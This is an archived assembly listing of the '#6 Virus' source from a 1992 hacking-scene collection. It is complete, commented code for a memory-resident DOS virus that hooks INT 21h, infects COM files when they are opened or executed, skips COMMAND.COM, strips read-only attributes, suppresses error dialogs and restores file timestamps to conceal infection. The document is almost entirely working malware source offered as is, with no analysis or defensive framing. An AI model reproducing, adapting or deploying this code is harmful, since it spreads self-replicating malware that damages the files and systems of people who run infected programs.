home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / NUMBER-6.ASM < prev    next >
Assembly Source File  |  1992-08-06  |  7KB  |  326 lines

  1. ;*****************************************************************************
  2. ;    #6 Virus                                 *
  3. ;                                         *
  4. ;    Assembled with Tasm 2.5                             *
  5. ;    (c) 1992 Trident/Dark Helmet, The Netherlands                 *
  6. ;                                         *
  7. ;       The author(s) take(s) no responsibility for any damaged caused by    *
  8. ;       this virus.                                 *
  9. ;*****************************************************************************
  10.  
  11.         .RADIX     16
  12. virus        SEGMENT
  13.         MODEL     SMALL
  14.         ASSUME     cs:virus, ds:virus, es:virus
  15.         ORG    100h
  16.  
  17. len        EQU    OFFSET last - begin
  18.  
  19. dummy:        DB    0e9h,02h,00h,86h,54h        ; Jump to start of
  20.                             ; viruscode.
  21. begin:        CALL    start                ; make a call to
  22.                             ; push the IP on the
  23.                             ; stack.
  24. start:        POP    bp                ; get the IP of the
  25.                             ; stack.
  26.         SUB     bp,108h                ; adjust BP (=IP)
  27.                             ; for offset of DATA.
  28.         
  29. restore:    MOV    di,0100h            ; copy the original
  30.         LEA    si,ds:[carrier_begin+bp]    ; host begin code back.
  31.         MOV    cx,05h  
  32.         REP     MOVSB    
  33.  
  34. check:        MOV    ah,0a0h                ; check if virus
  35.         INT    21h                ; allready resident.
  36.         CMP    ax,8654h
  37.         JE    end_virus
  38.  
  39. memory:        MOV    ax,cs                ; DS = Memory Control
  40.         DEC     ax                ; Blok (MCB).
  41.         MOV    ds,ax                
  42.         CMP     BYTE PTR ds:[0000],5ah        ; check first byte if
  43.         JNE    abort                ; last MCB.
  44.         MOV    ax,ds:[0003]            ; decrease memory size.
  45.         SUB    ax,40
  46.         MOV    ds:[0003],AX
  47.  
  48.         PUSH    cs                ; restore ds.
  49.         POP    ds
  50.  
  51. install:    MOV    bx,ax                ; ES point where    
  52.         MOV    ax,es                ; to copy virus in 
  53.         ADD    ax,bx                ; memory.
  54.         MOV    es,ax
  55.         
  56.         MOV    cx,len                ; copy virus to
  57.         LEA    si,ds:[begin+bp]        ; memory.
  58.         LEA    di,es:0105            ; offset = 105
  59.         REP    MOVSB    
  60.         MOV    [virus_segment+bp],es        ; store virus_segment
  61.  
  62.         PUSH    cs                ; restore es
  63.         POP    es
  64.  
  65. hook_vectors:    CLI
  66.  
  67.         MOV    ax,3521h            ; hook int 21h
  68.         INT    21h
  69.         MOV    ds,[virus_segment+bp]
  70.         MOV    old_21h,bx
  71.         MOV    old_21h+2,es
  72.         MOV    dx,offset main_virus 
  73.         MOV    ax,2521h
  74.         INT    21h
  75.  
  76.         MOV    ax,3512h            ; hook int 12h
  77.         INT    21h
  78.         MOV    old_12h,bx
  79.         MOV    old_12h+2,es
  80.         MOV    dx,offset new_12h
  81.         MOV    ax,2512h
  82.         INT    21h
  83.         
  84.         STI
  85.  
  86. abort:        MOV    ax,cs                ; restore ds,es
  87.         MOV    ds,ax
  88.         MOV    es,ax
  89.  
  90. end_virus:    MOV    bx,0100h            ; jump to begin host
  91.         PUSH    bx
  92.         XOR    bx,bx
  93.         XOR    bp,bp
  94.         XOR    ax,ax
  95.         XOR    cx,cx
  96.         RET
  97.         
  98. ;*****************************************************************************
  99. ;                                         *
  100. ;    This part will intercept the interuptvectors and copy itself to         *
  101. ;    other host programs                             *
  102. ;                                         *
  103. ;*****************************************************************************
  104.  
  105. main_virus:    PUSHF
  106.         CMP    ah,0a0h                ; check if virus calls
  107.         JNE    new_21h                ; and return id.
  108.         MOV    ax,8654h
  109.         POPF
  110.         IRET
  111.                             
  112. new_21h:    PUSH    ds                ; new interupt 21  
  113.         PUSH    es                ; routine
  114.         PUSH    di
  115.         PUSH    si
  116.         PUSH    ax
  117.         PUSH    bx
  118.         PUSH    cx
  119.         PUSH    dx
  120.         PUSH    sp
  121.         PUSH    bp
  122.  
  123. check_open:    CMP    ah,3dh                ; check if a file is
  124.         JNE    check_exec            ; being opened
  125.         JMP    chk_com
  126.         
  127. check_exec:    CMP    ax,04b00h            ; check if a file is
  128.         JNE     continu                ; executed
  129.         JMP    chk_com
  130.  
  131. continu:    POP    bp
  132.         POP    sp
  133.         POP    dx                ; continu with 
  134.         POP    cx                ; interrupt    
  135.         POP    bx
  136.         POP    ax
  137.         POP    si
  138.         POP    di
  139.         POP    es
  140.         POP    ds
  141.         POPF
  142.         JMP    DWORD PTR cs:[old_21h]
  143.  
  144. chk_com:    MOV    cs:[name_seg],ds
  145.         MOV    cs:[name_off],dx
  146.         CLD                    ; check if extension
  147.         MOV    di,dx                ; is COM file
  148.         PUSH    ds
  149.         POP    es
  150.         MOV    al,'.'    
  151.         REPNE    SCASB                
  152.         CMP    WORD PTR es:[di],'OC'
  153.         JNE    continu
  154.         CMP    WORD PTR es:[di+2],'M'
  155.         JNE    continu
  156.         
  157.         CMP    WORD PTR es:[di-7],'MO'        ; Check for 
  158.         JNE    error                ; COMMAND.COM
  159.         CMP    WORD PTR es:[di-5],'AM'
  160.         JNE    error
  161.         CMP    WORD PTR es:[di-3],'DN'
  162.         JE    continu        
  163.  
  164. error:        CALL    int24h                ; take care of error
  165.                             ; messages
  166.         CALL    set_atribute            ; set atribute for 
  167.                             ; writing
  168.  
  169. open_file:    MOV    ds,cs:[name_seg]        ; open file
  170.         MOV    dx,cs:[name_off]
  171.         MOV    ax,3d02h
  172.         CALL    do_int21h
  173.         JC    close_file
  174.         PUSH    cs
  175.         POP    ds
  176.         MOV    [handle],ax
  177.         MOV    bx,ax
  178.         
  179.         CALL    get_date
  180.  
  181. check_infect:    PUSH    CS                ; check if file 
  182.         POP    DS                ; already infect
  183.         MOV    BX,[handle]
  184.         MOV    ah,3fh
  185.         MOV    cx,05h
  186.         LEA    dx,[carrier_begin]
  187.         CALL    do_int21h
  188.         MOV    al, BYTE PTR [carrier_begin]+3    ; look for 
  189.         MOV    ah, BYTE PTR [carrier_begin]+4  ; identification byte's
  190.         CMP    ax,[initials]
  191.         JE    save_date
  192.  
  193. get_lenght:    MOV    ax,4200h
  194.         CALL    move_pointer
  195.         MOV    ax,4202h
  196.         CALL    move_pointer
  197.         SUB    AX,03h
  198.         MOV    [lenght_file],ax
  199.  
  200.         CALL    write_jmp            ; write jump 
  201.                             ; instruction.
  202.         CALL    write_virus            ; write virus
  203.                             ; body.
  204.  
  205. save_date:    PUSH    CS
  206.         POP    DS
  207.         MOV    bx,[handle]
  208.         MOV    dx,[date]
  209.         MOV    cx,[time]
  210.         MOV    ax,5701h
  211.         CALL    do_int21h
  212.  
  213. close_file:    MOV    bx,[handle]            ; close file    
  214.         MOV    ah,3eh
  215.         CALL    do_int21h
  216.         
  217. restore_int24h:    MOV    dx,cs:[old_24h]            ; restore int24
  218.         MOV    ds,cs:[old_24h+2]        ; for critical 
  219.         MOV    ax,2524h            ; error handling
  220.         CALL    do_int21h
  221.         
  222.         JMP    continu
  223.  
  224. new_24h:    MOV    al,3
  225.         IRET
  226.  
  227. new_12h:    JMP    DWORD PTR cs:[old_12h]
  228.         SUB    ax,50
  229.         IRET        
  230.  
  231. ;*****************************************************************************
  232.  
  233. move_pointer:    PUSH    cs
  234.         POP    ds
  235.         MOV    bx,[handle]
  236.         XOR    cx,cx
  237.         XOR    dx,dx
  238.         CALL    do_int21h
  239.         RET
  240.  
  241. do_int21h:    PUSHF
  242.         CALL    DWORD PTR cs:[old_21h]
  243.         RET
  244.  
  245. write_jmp:    PUSH    CS
  246.         POP    DS
  247.         
  248.         MOV    ax,4200h            ; write jump 
  249.         CALL    move_pointer            ; instruction
  250.         MOV    ah,40h
  251.         MOV    cx,01h
  252.         LEA    dx,[jump]
  253.         CALL    do_int21h
  254.         
  255.           MOV    ah,40h                ; write offset of
  256.         MOV    cx,02h                ; jump
  257.         LEA    dx,[lenght_file]
  258.         CALL    do_int21h
  259.         
  260.         MOV    ah,40h                ; write mark for
  261.         MOV    cx,02h                ; infection
  262.         LEA    dx,[initials]
  263.         CALL    do_int21h
  264.         RET
  265.  
  266. write_virus:    PUSH    CS
  267.         POP    DS
  268.  
  269.         MOV    ax,4202h            ; write main
  270.         CALL    move_pointer            ; virus body
  271.         MOV    ah,40                ; at end of
  272.         MOV    cx,len                ; program
  273.         MOV    dx,105h
  274.         CALL    do_int21h
  275.         RET
  276.  
  277. get_date:    MOV    ax,5700h
  278.         CALL    do_int21h
  279.         PUSH    cs
  280.         POP    ds
  281.         MOV    [date],dx
  282.         MOV    [time],cx
  283.         RET
  284.  
  285. int24h:        MOV    ax,3524h
  286.         CALL    do_int21h
  287.         MOV    cs:[old_24h],bx
  288.         MOV    cs:[old_24h+2],es
  289.         MOV    dx,offset new_24h
  290.         PUSH    CS
  291.         POP    DS
  292.         MOV    AX,2524h
  293.         CALL    do_int21h
  294.         RET
  295.  
  296. set_atribute:    MOV    ax,4300h            ; get atribute
  297.         MOV    ds,cs:[name_seg]
  298.         MOV    dx,cs:[name_off]
  299.         CALL    do_int21h
  300.  
  301.         AND    cl,0feh                ; set atribute
  302.         MOV    ax,4301h
  303.         CALL    do_int21h
  304.         RET
  305.  
  306. ;*****************************************************************************
  307.  
  308. text        db    '#6 Virus, Trident/The Netherlands 1992'
  309. old_12h        dw    00h,00h
  310. old_21h        dw     00h,00h
  311. old_24h        dw     00h,00h
  312. carrier_begin    db     090h,0cdh,020h,086h,054h
  313. jump        db    0e9h
  314. name_seg    dw    ?
  315. name_off    dw    ?
  316. virus_segment    dw    ?
  317. handle        dw    ?
  318. lenght_file    dw    ?
  319. date        dw    ?
  320. time        dw    ?
  321. initials    dw    5486h
  322. last        db    090h
  323.  
  324. virus        ends
  325.         end     dummy
  326.